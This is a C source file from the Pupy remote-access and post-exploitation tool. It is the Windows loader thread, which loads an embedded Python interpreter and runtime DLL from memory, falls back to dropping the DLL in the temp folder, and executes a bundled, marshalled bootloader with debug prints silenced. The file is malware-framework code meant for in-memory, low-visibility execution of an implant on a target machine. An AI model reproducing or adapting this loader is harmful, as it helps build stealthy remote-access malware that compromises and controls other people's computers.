/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/

#define QUIET // uncomment to avoid debug prints
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include "pupy_load.h"
#include "Python-dynload.h"
#include "actctx.h"
#include "resource_python_manifest.c"
#include "base_inject.h"

extern const char resources_python27_dll_start[];
extern const int resources_python27_dll_size;
extern const char resources_bootloader_pyc_start[];
extern const int resources_bootloader_pyc_size;
extern const char resources_msvcr90_dll_start[];
extern const int resources_msvcr90_dll_size;
extern const char resource_python_manifest[];

extern DL_EXPORT(void) init_memimporter(void);
extern DL_EXPORT(void) initpupy(void);

CRITICAL_SECTION csInit; // protecting our init code

// Simple trick to get the current pupy arch
#ifdef _WIN64
	const DWORD dwPupyArch = PROCESS_ARCH_X64;
#else
	const DWORD dwPupyArch = PROCESS_ARCH_X86;
#endif


DWORD WINAPI mainThread(LPVOID lpArg)
{

	int rc = 0;
	PyObject *m=NULL, *d=NULL, *seq=NULL;
	PyObject *mod;
	char * ppath;
	FILE * f;
	char tmp_python_dll_path[MAX_PATH];
	char tmp_manifest_path[MAX_PATH];
	char tmp_path[MAX_PATH];
	ULONG_PTR cookie = 0;
	PyGILState_STATE restore_state;

	if(!GetModuleHandle("msvcr90.dll")){
		#ifndef QUIET
		fprintf(stderr,"loading msvcr90.dll\n");
		#endif
		_load_msvcr90(resources_msvcr90_dll_start);
	}
	else{
		#ifndef QUIET
		fprintf(stderr,"msvcr90.dll already loaded\n");
		#endif
	}

	GetTempPath(MAX_PATH, tmp_path);
	//InitializeCriticalSection(&csInit);

	if(!Py_IsInitialized)
	{
		int res=0;
		if(GetModuleHandle("python27.dll")){
			HANDLE hp;
			#ifndef QUIET
			fprintf(stderr,"python27.dll is already loaded\n");
			#endif
			_load_python_FromFile("python27.dll"); // does not actually load a new python, but uses the handle of the already loaded one
		}
		else{
			if(!_load_python("python27.dll", resources_python27_dll_start)){
				#ifndef QUIET
				fprintf(stderr,"loading python27.dll from memory failed\n");
				#endif

				//if loading from memory fail, we write dll on disk
				sprintf(tmp_python_dll_path, "%spython27.dll", tmp_path);

				f=fopen(tmp_python_dll_path,"wb");
				res=fwrite(resources_python27_dll_start, sizeof(char), resources_python27_dll_size, f);
				fclose(f);

				if(!_load_python(tmp_python_dll_path, NULL)){
					if(!_load_python("python27.dll", NULL)){ // try loading from system PATH
						#ifndef QUIET
						fprintf(stderr,"could not load python dll\n");
						#endif
					}
				}
			}
		#ifndef QUIET
		fprintf(stderr,"python interpreter loaded\n");
		#endif
		}
	}
	#ifndef QUIET
	fprintf(stderr,"calling PyEval_InitThreads() ...\n");
	#endif
	PyEval_InitThreads();
	#ifndef QUIET
	fprintf(stderr,"PyEval_InitThreads() called\n");
	#endif
	if(!Py_IsInitialized()){
		ppath = Py_GetPath();
		strcpy(ppath, "\x00");

		Py_IgnoreEnvironmentFlag = 1;
		Py_NoSiteFlag = 1; /* remove site.py auto import */
		Py_Initialize();

		#ifndef QUIET
		fprintf(stderr,"Py_Initialize()\n");
		#endif
		PySys_SetObject("frozen", PyBool_FromLong(1));
	}
	restore_state=PyGILState_Ensure();

	init_memimporter();
	#ifndef QUIET
	fprintf(stderr,"init_memimporter()\n");
	#endif
	initpupy();
	#ifndef QUIET
	fprintf(stderr,"initpupy()\n");
	#endif



	/* We execute then in the context of '__main__' */
	#ifndef QUIET
	fprintf(stderr,"starting evaluating python code ...\n");
	#endif
	m = PyImport_AddModule("__main__");
	if (m) d = PyModule_GetDict(m);
	if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size);
	if (seq) {
		Py_ssize_t i, max = PySequence_Length(seq);
		for (i=0;i<max;i++) {
			PyObject *sub = PySequence_GetItem(seq, i);
			if (seq) {
				PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d);
				if (!discard) {
					PyErr_Print();
					rc = 255;
				}
				Py_XDECREF(discard);
				/* keep going even if we fail */
			}
			Py_XDECREF(sub);
		}
	}
	PyGILState_Release(restore_state);
	Py_Finalize();
	//DeleteCriticalSection(&csInit);

	return 0;
}